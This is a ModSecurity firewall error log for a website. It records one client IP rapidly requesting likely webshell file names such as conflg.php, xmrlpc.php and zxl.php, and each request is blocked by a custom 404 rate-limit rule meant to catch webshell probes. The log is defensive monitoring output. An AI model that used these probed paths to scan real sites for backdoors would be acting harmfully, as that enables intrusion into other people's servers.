[Mon Dec 08 06:00:08.036339 2025] [:error] [pid 54705:tid 54747] [client 4.189.128.201:35666] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aTX46KdUeDkxwo12SG8nSwAAAY0"]
[Mon Dec 08 06:00:08.266143 2025] [:error] [pid 18726:tid 18738] [client 4.189.128.201:43149] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aTX46FwVbxmJGL5LHAc6NQAAAMo"]
[Mon Dec 08 06:00:08.502629 2025] [:error] [pid 18726:tid 18741] [client 4.189.128.201:58613] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aTX46FwVbxmJGL5LHAc6NgAAAM0"]
[Mon Dec 08 06:00:08.743726 2025] [:error] [pid 18636:tid 18711] [client 4.189.128.201:35141] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aTX46OgdXnohVr6jm71IFAAAAJM"]
[Mon Dec 08 06:00:08.971958 2025] [:error] [pid 18726:tid 18746] [client 4.189.128.201:58489] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aTX46FwVbxmJGL5LHAc6OAAAANI"]
[Mon Dec 08 06:00:09.207827 2025] [:error] [pid 18636:tid 18695] [client 4.189.128.201:51306] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aTX46egdXnohVr6jm71IFQAAAIM"]
[Mon Dec 08 06:00:09.437252 2025] [:error] [pid 18636:tid 18715] [client 4.189.128.201:35706] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "aTX46egdXnohVr6jm71IFgAAAJc"]
[Mon Dec 08 06:00:09.671984 2025] [:error] [pid 18635:tid 18666] [client 4.189.128.201:43144] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "aTX46W4kCC_HamQRuE10qgAAAEE"]
[Mon Dec 08 06:00:09.900404 2025] [:error] [pid 18636:tid 18699] [client 4.189.128.201:59633] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "aTX46egdXnohVr6jm71IFwAAAIc"]
[Mon Dec 08 06:00:10.141311 2025] [:error] [pid 18726:tid 18736] [client 4.189.128.201:35139] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "aTX46lwVbxmJGL5LHAc6OgAAAMg"]
[Mon Dec 08 06:00:10.368736 2025] [:error] [pid 54705:tid 54734] [client 4.189.128.201:35681] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/go.php"] [unique_id "aTX46qdUeDkxwo12SG8nUwAAAYA"]
[Mon Dec 08 06:00:10.596716 2025] [:error] [pid 54705:tid 54735] [client 4.189.128.201:59629] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/go.php"] [unique_id "aTX46qdUeDkxwo12SG8nVQAAAYE"]
[Mon Dec 08 06:00:10.827513 2025] [:error] [pid 54705:tid 54748] [client 4.189.128.201:35136] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/go.php"] [unique_id "aTX46qdUeDkxwo12SG8nVwAAAY4"]
[Mon Dec 08 06:00:11.061795 2025] [:error] [pid 18636:tid 18706] [client 4.189.128.201:28037] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/go.php"] [unique_id "aTX46-gdXnohVr6jm71IGAAAAI4"]
[Mon Dec 08 06:00:11.290479 2025] [:error] [pid 54705:tid 54742] [client 4.189.128.201:9702] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aTX466dUeDkxwo12SG8nXAAAAYg"]
[Mon Dec 08 06:00:11.520681 2025] [:error] [pid 54704:tid 54720] [client 4.189.128.201:9696] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aTX463L1WYsMMmlqjh4VDAAAAU0"]
[Mon Dec 08 06:00:11.754308 2025] [:error] [pid 18726:tid 18740] [client 4.189.128.201:43155] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aTX461wVbxmJGL5LHAc6OwAAAMw"]
[Mon Dec 08 06:00:11.985001 2025] [:error] [pid 18636:tid 18712] [client 4.189.128.201:35649] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aTX46-gdXnohVr6jm71IHAAAAJQ"]
[Mon Dec 08 06:00:12.221907 2025] [:error] [pid 18726:tid 18731] [client 4.189.128.201:43196] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aTX47FwVbxmJGL5LHAc6PAAAAMM"]
[Mon Dec 08 06:00:12.455600 2025] [:error] [pid 54705:tid 54736] [client 4.189.128.201:35187] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aTX47KdUeDkxwo12SG8nXwAAAYI"]
[Mon Dec 08 06:00:12.688848 2025] [:error] [pid 54671:tid 54680] [client 4.189.128.201:61191] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aTX47FqOuiNLLCfVy7-MxwAAAQY"]
[Mon Dec 08 06:00:12.931013 2025] [:error] [pid 54705:tid 54751] [client 4.189.128.201:35155] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aTX47KdUeDkxwo12SG8nYQAAAZE"]
[Mon Dec 08 06:00:13.157668 2025] [:error] [pid 54671:tid 54696] [client 4.189.128.201:35186] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/conflg.php"] [unique_id "aTX47VqOuiNLLCfVy7-MyQAAARY"]
[Mon Dec 08 06:00:13.387942 2025] [:error] [pid 18726:tid 18728] [client 4.189.128.201:43198] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/conflg.php"] [unique_id "aTX47VwVbxmJGL5LHAc6PQAAAMA"]
[Mon Dec 08 06:00:13.617380 2025] [:error] [pid 18635:tid 18676] [client 4.189.128.201:48824] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/conflg.php"] [unique_id "aTX47W4kCC_HamQRuE10rwAAAEs"]
[Mon Dec 08 06:00:13.846299 2025] [:error] [pid 18635:tid 18685] [client 4.189.128.201:23763] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/conflg.php"] [unique_id "aTX47W4kCC_HamQRuE10sQAAAFQ"]
[Mon Dec 08 06:00:14.075161 2025] [:error] [pid 54705:tid 54749] [client 4.189.128.201:43163] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmrlpc.php"] [unique_id "aTX47qdUeDkxwo12SG8nZQAAAY8"]
[Mon Dec 08 06:00:14.325288 2025] [:error] [pid 54704:tid 54707] [client 4.189.128.201:62629] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmrlpc.php"] [unique_id "aTX47nL1WYsMMmlqjh4VDQAAAUA"]
[Mon Dec 08 06:00:14.576077 2025] [:error] [pid 54671:tid 54682] [client 4.189.128.201:59613] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmrlpc.php"] [unique_id "aTX47lqOuiNLLCfVy7-MzQAAAQg"]
[Mon Dec 08 06:00:14.804686 2025] [:error] [pid 18726:tid 18741] [client 4.189.128.201:59625] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmrlpc.php"] [unique_id "aTX47lwVbxmJGL5LHAc6QgAAAM0"]
[Mon Dec 08 06:00:15.032272 2025] [:error] [pid 54704:tid 54719] [client 4.189.128.201:35667] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asas.php"] [unique_id "aTX473L1WYsMMmlqjh4VDgAAAUw"]
[Mon Dec 08 06:00:15.261232 2025] [:error] [pid 18726:tid 18732] [client 4.189.128.201:48820] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asas.php"] [unique_id "aTX471wVbxmJGL5LHAc6QwAAAMQ"]
[Mon Dec 08 06:00:15.516077 2025] [:error] [pid 54705:tid 54754] [client 4.189.128.201:48812] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asas.php"] [unique_id "aTX476dUeDkxwo12SG8nagAAAZQ"]
[Mon Dec 08 06:00:15.749413 2025] [:error] [pid 54671:tid 54698] [client 4.189.128.201:43154] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asas.php"] [unique_id "aTX471qOuiNLLCfVy7-MzwAAARg"]
[Mon Dec 08 06:00:15.980803 2025] [:error] [pid 54671:tid 54690] [client 4.189.128.201:23790] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aTX471qOuiNLLCfVy7-M0QAAARA"]
[Mon Dec 08 06:00:16.214198 2025] [:error] [pid 54705:tid 54746] [client 4.189.128.201:43190] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aTX48KdUeDkxwo12SG8nbQAAAYw"]
[Mon Dec 08 06:00:16.443781 2025] [:error] [pid 54671:tid 54693] [client 4.189.128.201:25992] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aTX48FqOuiNLLCfVy7-M1QAAARM"]
[Mon Dec 08 06:00:16.674701 2025] [:error] [pid 18636:tid 18715] [client 4.189.128.201:48792] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aTX48OgdXnohVr6jm71IJQAAAJc"]
[Mon Dec 08 06:00:16.903960 2025] [:error] [pid 18636:tid 18706] [client 4.189.128.201:48814] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aTX48OgdXnohVr6jm71IJgAAAI4"]
[Mon Dec 08 06:00:17.133080 2025] [:error] [pid 54705:tid 54734] [client 4.189.128.201:48800] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aTX48adUeDkxwo12SG8ncAAAAYA"]
[Mon Dec 08 06:00:17.362177 2025] [:error] [pid 54705:tid 54758] [client 4.189.128.201:59617] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aTX48adUeDkxwo12SG8ncQAAAZg"]
[Mon Dec 08 06:00:17.589702 2025] [:error] [pid 54705:tid 54741] [client 4.189.128.201:23753] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aTX48adUeDkxwo12SG8ncgAAAYc"]
[Mon Dec 08 06:00:17.819625 2025] [:error] [pid 54705:tid 54748] [client 4.189.128.201:35140] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akcc.php"] [unique_id "aTX48adUeDkxwo12SG8ndAAAAY4"]
[Mon Dec 08 06:00:18.046760 2025] [:error] [pid 18636:tid 18700] [client 4.189.128.201:26032] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akcc.php"] [unique_id "aTX48ugdXnohVr6jm71IJwAAAIg"]
[Mon Dec 08 06:00:18.354929 2025] [:error] [pid 54671:tid 54691] [client 4.189.128.201:9720] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akcc.php"] [unique_id "aTX48lqOuiNLLCfVy7-M2gAAARE"]
[Mon Dec 08 06:00:18.611119 2025] [:error] [pid 54704:tid 54728] [client 4.189.128.201:37988] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akcc.php"] [unique_id "aTX48nL1WYsMMmlqjh4VEgAAAVU"]
[Mon Dec 08 06:00:18.854627 2025] [:error] [pid 18634:tid 18642] [client 4.189.128.201:25987] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zxl.php"] [unique_id "aTX48p-H1wCBKPf4vhN-FAAAAAQ"]
[Mon Dec 08 06:00:19.087910 2025] [:error] [pid 18636:tid 18713] [client 4.189.128.201:48798] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zxl.php"] [unique_id "aTX48-gdXnohVr6jm71IKgAAAJU"]
[Mon Dec 08 06:00:19.328145 2025] [:error] [pid 54704:tid 54708] [client 4.189.128.201:48779] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zxl.php"] [unique_id "aTX483L1WYsMMmlqjh4VFAAAAUE"]
[Mon Dec 08 06:00:19.560217 2025] [:error] [pid 18635:tid 18681] [client 4.189.128.201:62610] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zxl.php"] [unique_id "aTX4824kCC_HamQRuE10ugAAAFA"]
[Mon Dec 08 06:00:19.808360 2025] [:error] [pid 54671:tid 54696] [client 4.189.128.201:43186] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/r.php"] [unique_id "aTX481qOuiNLLCfVy7-M3QAAARY"]
[Mon Dec 08 06:00:20.164353 2025] [:error] [pid 54704:tid 54727] [client 4.189.128.201:59609] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/r.php"] [unique_id "aTX49HL1WYsMMmlqjh4VFwAAAVQ"]
[Mon Dec 08 06:00:20.408012 2025] [:error] [pid 54671:tid 54685] [client 4.189.128.201:26014] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/r.php"] [unique_id "aTX49FqOuiNLLCfVy7-M3gAAAQs"]
[Mon Dec 08 06:00:20.663776 2025] [:error] [pid 54705:tid 54746] [client 4.189.128.201:59639] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/r.php"] [unique_id "aTX49KdUeDkxwo12SG8negAAAYw"]
[Mon Dec 08 06:00:20.900060 2025] [:error] [pid 54705:tid 54757] [client 4.189.128.201:62648] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "aTX49KdUeDkxwo12SG8newAAAZc"]
[Mon Dec 08 06:00:21.133252 2025] [:error] [pid 54671:tid 54694] [client 4.189.128.201:43167] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "aTX49VqOuiNLLCfVy7-M4QAAARQ"]
[Mon Dec 08 06:00:21.463740 2025] [:error] [pid 54705:tid 54740] [client 4.189.128.201:43180] [client 4.189.128.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "aTX49adUeDkxwo12SG8nfQAAAYY"]
